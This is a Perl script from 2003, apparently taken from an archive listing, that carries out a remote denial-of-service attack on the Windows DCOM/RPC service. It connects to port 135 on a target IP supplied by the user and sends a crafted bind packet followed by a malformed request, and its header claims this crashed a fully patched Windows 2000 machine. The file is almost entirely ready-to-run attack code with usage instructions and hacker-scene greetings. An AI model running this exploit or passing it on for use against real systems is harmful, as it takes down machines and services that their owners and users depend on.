home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/perl -w
- # ================================================================
- # Microsoft Windows DCOM Remote DOS
- # By: Knight420
- # 07/24/03
- #
- # [Tested]
- # Win2kPro with full updates caused the machine to need a reboot!
- #
- # [DCOM]
- # The Distributed Component Object Model (DCOM) is a protocol
- # that enables software components to communicate directly over a
- # network in a reliable, secure, and efficient manner. Previously
- # called "Network OLE," DCOM is designed for use across multiple
- # network transports, including Internet protocols such as HTTP.
- # DCOM is based on the Open Software Foundation's DCE-RPC spec
- # and will work with both Java applets and ActiveX« components
- # through its use of the Component Object Model (COM).
- #
- # !W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!
- #
- # Gr33tz to: sorbo #open #darkircop
- #
- # (C) COPYRIGHT Blue Ballz , 2003
- # all rights reserved
- # ================================================================
-
- use IO::Socket;
- if ($#ARGV<0)
- {
- system('clear ');
- printf "\n***********************************************";
- print "\nMicrosoft Windows DCOM Remote DoS by: Knight420";
- printf "\n***********************************************";
- print "\n Usage: perl dcomx.pl ip\n";
- exit;
- }
- $bind = ("\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00");
- $own = ("\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00");
- $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", PeerPort=>"135"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
- system('clear ');
- printf "\n***********************************************";
- printf "\nMicrosoft Windows DCOM Remote DoS by: Knight420";
- printf "\n***********************************************";
- printf "\n*** [1] Server is up...";
- printf "\n*** [2] Sending our elite code...";
- print $connect "$bind";
- print $connect "$own";
- printf "\n*** [3] Server should now be crashed\n";
- close($connect);
-
-